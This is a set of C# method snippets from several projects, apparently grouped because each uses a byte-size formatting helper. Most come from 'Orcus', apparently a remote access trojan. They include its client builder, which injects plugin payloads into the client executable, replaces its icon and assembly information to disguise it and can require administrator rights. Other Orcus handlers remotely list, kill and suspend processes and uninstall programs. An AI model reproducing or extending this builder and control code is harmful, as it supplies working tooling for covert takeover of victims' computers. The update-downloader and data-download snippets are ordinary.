private async void ConnectionManager_PluginUploadStarted(object sender, EventArgs e) { ProgressDialogController progressDialog = null; EventHandler <PluginUploadProgressChangedEventArgs> handler = null; var alreadyFinished = false; handler = (s, args) => { progressDialog?.SetProgress(args.Progress); progressDialog?.SetMessage( $"{FormatBytesConverter.BytesToString(args.BytesSent)} {Application.Current.Resources["Of"]} {FormatBytesConverter.BytesToString(args.TotalBytes)}"); if (Math.Abs(args.Progress - 1) < .1) { ((MainViewModel)DataContext).ConnectionManager.PluginUploadProgressChanged -= handler; progressDialog?.CloseAsync(); alreadyFinished = true; } }; ((MainViewModel)DataContext).ConnectionManager.PluginUploadProgressChanged += handler; progressDialog = await this.ShowProgressAsync((string)Application.Current.Resources["UploadingPlugin"], ""); if (alreadyFinished) { await progressDialog.CloseAsync(); } }
public override void ResponseReceived(byte[] parameter) { switch ((UninstallProgramsCommunication)parameter[0]) { case UninstallProgramsCommunication.ResponseInstalledPrograms: var serializer = new Serializer(typeof(List <AdvancedUninstallableProgram>)); var list = serializer.Deserialize <List <AdvancedUninstallableProgram> >(parameter, 1); RefreshList?.Invoke(this, list); LogService.Receive(string.Format((string)Application.Current.Resources["ReceivedPrograms"], list.Count, FormatBytesConverter.BytesToString(parameter.Length - 1))); break; case UninstallProgramsCommunication.ResponseProgramUninstallerStarted: LogService.Receive((string)Application.Current.Resources["UninstallProgramStarted"]); break; case UninstallProgramsCommunication.ResponseUninstallFailed: LogService.Error(string.Format((string)Application.Current.Resources["UninstallFailed"], Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1))); break; case UninstallProgramsCommunication.ResponseEntryNotFound: LogService.Receive((string)Application.Current.Resources["UninstalIdNotFound"]); break; default: throw new ArgumentOutOfRangeException(); } }
private void FileTransferTaskOnProgressChanged(object sender, EventArgs eventArgs) { var fileTransferTask = (FileTransferTask)sender; IsInterminate = false; Size = fileTransferTask.ProcessedSize; Progress = (float)fileTransferTask.Progress; Description = string.Format(_uploadingProcessingFileDescription.Value, FormatBytesConverter.BytesToString((long)fileTransferTask.Speed), fileTransferTask.EstimatedTime); }
public static async Task <DatabaseInfo> DownloadData(ICurrentStatusReporter currentStatusReporter) { ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; var request = (HttpWebRequest)WebRequest.Create(BaseUrl); var postData = $"method=a&token={Token}"; var data = Encoding.ASCII.GetBytes(postData); request.KeepAlive = false; request.Method = "POST"; request.ContentType = "application/x-www-form-urlencoded"; request.ContentLength = data.Length; using (var stream = request.GetRequestStream()) stream.Write(data, 0, data.Length); using (var response = request.GetResponse()) using (var responseStream = response.GetResponseStream()) using (var output = new MemoryStream()) { var buffer = new byte[2048]; // read in chunks of 2KB int bytesRead; int downloadedBytes = 0; var lastUpdate = DateTime.Now; int dataDownloadedSinceLastUpdate = 0; double currentSpeed = 0; while ((bytesRead = await responseStream.ReadAsync(buffer, 0, buffer.Length)) > 0) { await output.WriteAsync(buffer, 0, bytesRead); downloadedBytes += bytesRead; dataDownloadedSinceLastUpdate += bytesRead; if (DateTime.Now - lastUpdate > TimeSpan.FromMilliseconds(100) || currentSpeed == 0) { var period = DateTime.Now - lastUpdate; currentSpeed = dataDownloadedSinceLastUpdate / period.TotalSeconds; lastUpdate = DateTime.Now; dataDownloadedSinceLastUpdate = 0; } currentStatusReporter.CurrentStatus = $"{FormatBytesConverter.BytesToString(downloadedBytes)} downloaded ({currentSpeed/1024} KiB/s)"; } var result = Encoding.UTF8.GetString(output.ToArray()); return(new JavaScriptSerializer().Deserialize <DatabaseInfo>(result)); } }
private void DownloaderOnPropertyChanged(object sender, PropertyChangedEventArgs propertyChangedEventArgs) { var downloader = (UpdateDownloader)sender; switch (propertyChangedEventArgs.PropertyName) { case nameof(UpdateDownloader.BytesDownloaded): case nameof(UpdateDownloader.TotalBytesToDownload): InvokeIfRequired(() => downloadStatsLabel.Text = $"{FormatBytesConverter.BytesToString(downloader.BytesDownloaded)} / {FormatBytesConverter.BytesToString(downloader.TotalBytesToDownload)}"); break; case nameof(UpdateDownloader.Progress): InvokeIfRequired(() => downloadProgressBar.Value = (int)(downloader.Progress * 100)); break; case nameof(UpdateDownloader.DownloadSpeed): InvokeIfRequired(() => downloadSpeedLabel.Text = FormatBytesConverter.BytesToString((int)downloader.DownloadSpeed) + "/s"); break; case nameof(UpdateDownloader.CurrentAction): case nameof(UpdateDownloader.CurrentFilename): InvokeIfRequired(() => { var downloadSpeedLabelVisibility = false; var progressBarMarquee = false; switch (downloader.CurrentAction) { case ProgressAction.DownloadFile: downloadSpeedLabelVisibility = true; updateActionLabel.Text = string.Format(Properties.Resources.UpdatesAvailableForm_DownloadFile, downloader.CurrentFilename); break; case ProgressAction.ValidateFile: updateActionLabel.Text = string.Format(Properties.Resources.UpdatesAvailableForm_ValidateFile, downloader.CurrentFilename); break; case ProgressAction.ValidateTasks: updateActionLabel.Text = Properties.Resources.UpdatesAvailableForm_ValidateTasks; break; case ProgressAction.CollectFileInformation: updateActionLabel.Text = Properties.Resources.UpdatesAvailableForm_CollectInformation; progressBarMarquee = true; break; case ProgressAction.ApplyDeltaPatch: updateActionLabel.Text = string.Format(Properties.Resources.UpdatesAvailableForm_ApplyDeltaPatch, downloader.CurrentFilename); break; } downloadSpeedLabel.Visible = downloadSpeedLabelVisibility; downloadProgressBar.Style = progressBarMarquee ? ProgressBarStyle.Marquee : ProgressBarStyle.Blocks; }); break; } }
public void Build(IBuilderInformation builderInformation, List <IBuilderProperty> properties, List <BuildPluginEvent> builderEvents, List <ClientPlugin> plugins, IBuildLogger buildLogger) { buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingStream"], properties.GetBuilderProperty <FrameworkVersionBuilderProperty>().FrameworkVersion)); Stream stream = null; var loadStreamPlugins = builderEvents.Where(x => x.BuilderEvent is LoadStreamBuilderEvent).ToList(); if (loadStreamPlugins.Count == 0) { var resource = Application.GetResourceStream( new Uri( $"pack://application:,,,/Orcus.Administration.Resources;component/Client/{properties.GetBuilderProperty<FrameworkVersionBuilderProperty>().FrameworkVersion}/Orcus.exe")); if (resource == null) { throw new FileNotFoundException(); } stream = resource.Stream; } else if (loadStreamPlugins.Count == 1) { stream = ((LoadStreamBuilderEvent)loadStreamPlugins.Single().BuilderEvent).LoadStream(builderInformation); buildLogger.Warn("BuildPlugin \"" + loadStreamPlugins[0].BuildPlugin.PluginInfo.Name + "\" modified the source stream. The output won't be the original Orcus made by Orcus Technologies."); } else if (loadStreamPlugins.Count > 1) { throw new Exception( $"The following build plugins want to change the source of the Orcus assembly: {string.Join(", ", loadStreamPlugins.Select(x => x.BuildPlugin.PluginInfo.Name))}. Please deselect all but one of these plugins to successfully build Orcus."); } using (stream) { buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusStreamLoaded"], FormatBytesConverter.BytesToString(stream.Length))); var assemblyDefinition = AssemblyDefinition.ReadAssembly(stream, new ReaderParameters { AssemblyResolver = new AssemblyResolver(buildLogger) }); buildLogger.Status((string)Application.Current.Resources["BuildStatusInjectingPlugins"]); List <PluginResourceInfo> installedPlugins; InstallPlugins(assemblyDefinition, plugins, buildLogger, out installedPlugins); buildLogger.Status((string)Application.Current.Resources["BuildStatusWritingSettings"]); ApplySettings(assemblyDefinition, properties, installedPlugins, plugins, buildLogger); AddResources(assemblyDefinition, properties, buildLogger); builderEvents.ExecuteBuildPluginEvents <ModifyAssemblyBuilderEvent>( x => x.ModifyAssembly(builderInformation, assemblyDefinition)); buildLogger.Status((string)Application.Current.Resources["BuildStatusSavingOnDisk"]); assemblyDefinition.Write( builderInformation.OutputFiles.Single(x => x.OutputFileType == OutputFileType.MainAssembly).Path); buildLogger.Success((string)Application.Current.Resources["BuildStatusSavedSuccessfully"]); } builderEvents.ExecuteBuildPluginEvents <ClientFileCreatedBuilderEvent>( x => x.ClientFileCreated(builderInformation)); var iconInfo = properties.GetBuilderProperty <ChangeIconBuilderProperty>(); if (iconInfo.ChangeIcon) { buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingIcon"]); Thread.Sleep(2000); //Wait for the filestream to close IconInjector.InjectIcon(builderInformation.AssemblyPath, iconInfo.IconPath); buildLogger.Success((string)Application.Current.Resources["BuildStatusIconChanged"]); } var assemblyInfo = properties.GetBuilderProperty <ChangeAssemblyInformationBuilderProperty>(); if (assemblyInfo.ChangeAssemblyInformation) { buildLogger.Status((string)Application.Current.Resources["BuildStatusApplyingAssemblyInformation"]); Thread.Sleep(2000); //Wait for the filestream to close ApplyAssemblyInformation(builderInformation.AssemblyPath, assemblyInfo); buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyInformationApplied"]); } if (properties.GetBuilderProperty <DefaultPrivilegesBuilderProperty>().RequireAdministratorRights) { buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingManifest"]); Thread.Sleep(2000); //Wait for the filestream to close ApplyManifest(builderInformation.AssemblyPath); buildLogger.Success((string)Application.Current.Resources["BuildStatusManifestChanged"]); } builderEvents.ExecuteBuildPluginEvents <ClientFileModifiedBuilderEvent>( x => x.ClientFileModified(builderInformation)); builderEvents.ExecuteBuildPluginEvents <ClientBuildCompletedBuilderEvent>( x => x.ClientBuildCompleted(builderInformation)); }
private void InstallPlugins(AssemblyDefinition assemblyDefinition, IEnumerable <IPayload> plugins, IBuildLogger buildLogger, out List <PluginResourceInfo> installedPlugins) { installedPlugins = new List <PluginResourceInfo>(); foreach (var plugin in plugins) { buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingPlugin"], plugin.PluginInfo.Name)); var payload = plugin.GetPayload(); buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusPluginLoaded"], FormatBytesConverter.BytesToString(payload.Length))); var resourceName = Guid.NewGuid().ToString("N"); assemblyDefinition.MainModule.Resources.Add(new EmbeddedResource(resourceName, ManifestResourceAttributes.Private, payload)); buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusPluginInjected"], resourceName)); ResourceType resourceType; if (plugin is ClientPlugin) { resourceType = ResourceType.ClientPlugin; } else if (plugin is FactoryCommandPlugin) { resourceType = ResourceType.FactoryCommand; } else { resourceType = ResourceType.Command; } installedPlugins.Add(new PluginResourceInfo { ResourceName = resourceName, ResourceType = resourceType, Guid = plugin.PluginInfo.Guid, PluginName = plugin.PluginInfo.Name, PluginVersion = plugin.PluginInfo.Version.ToString() }); } }
public override void ResponseReceived(byte[] parameter) { Serializer serializer; switch ((TaskManagerCommunication)parameter[0]) { case TaskManagerCommunication.ResponseFullList: Processes?.ToList().ForEach(x => x.Dispose()); serializer = new Serializer(typeof(List <AdvancedProcessInfo>)); _allProcesses = new List <AdvancedProcessInfo>( serializer.Deserialize <List <AdvancedProcessInfo> >(parameter, 1)); RecreateProcessList(); LogService.Receive(string.Format((string)Application.Current.Resources["ReceivedProcesses"], _allProcesses.Count, FormatBytesConverter.BytesToString(parameter.Length - 1))); RefreshList?.Invoke(this, Processes); break; case TaskManagerCommunication.ResponseChanges: serializer = new Serializer(typeof(ProcessListChangelog)); var changelog = serializer.Deserialize <ProcessListChangelog>(parameter, 1); foreach ( var process in changelog.ClosedProcesses.Select( closedProcess => _allProcesses.FirstOrDefault(x => x.Id == closedProcess)) .Where(process => process != null)) { process.Dispose(); _allProcesses.Remove(process); } foreach (var processInfo in changelog.NewProcesses) { _allProcesses.Add(new AdvancedProcessInfo(processInfo)); } RecreateProcessList(); LogService.Receive(string.Format((string)Application.Current.Resources["ReceivedChanges"], changelog.ClosedProcesses.Count, changelog.NewProcesses.Count)); RefreshList?.Invoke(this, Processes); break; case TaskManagerCommunication.ResponseTaskKillFailed: LogService.Error(string.Format((string)Application.Current.Resources["TaskKillFailed"], Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1))); break; case TaskManagerCommunication.ResponseTaskKilled: LogService.Receive((string)Application.Current.Resources["TaskSuccessfulKilled"]); break; case TaskManagerCommunication.ResponsePrioritySet: LogService.Receive((string)Application.Current.Resources["PrioritySet"]); break; case TaskManagerCommunication.ResponseSetPriorityFailed: LogService.Error(string.Format((string)Application.Current.Resources["SetPriorityFailed"], Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1))); break; case TaskManagerCommunication.ResponseProcessTreeKilled: LogService.Receive((string)Application.Current.Resources["ProcessTreeKilled"]); break; case TaskManagerCommunication.ResponseProcessSuspended: LogService.Receive((string)Application.Current.Resources["ProcessSuspended"]); break; case TaskManagerCommunication.ResponseProcessResumed: LogService.Receive((string)Application.Current.Resources["ProcessResumed"]); break; case TaskManagerCommunication.ResponseWindowActionDone: LogService.Receive((string)Application.Current.Resources["ChangeWindowStateSucceeded"]); break; case TaskManagerCommunication.ResponseWindowActionFailed: LogService.Error((string)Application.Current.Resources["ChangeWindowStateFailed"]); break; default: throw new ArgumentOutOfRangeException(); } }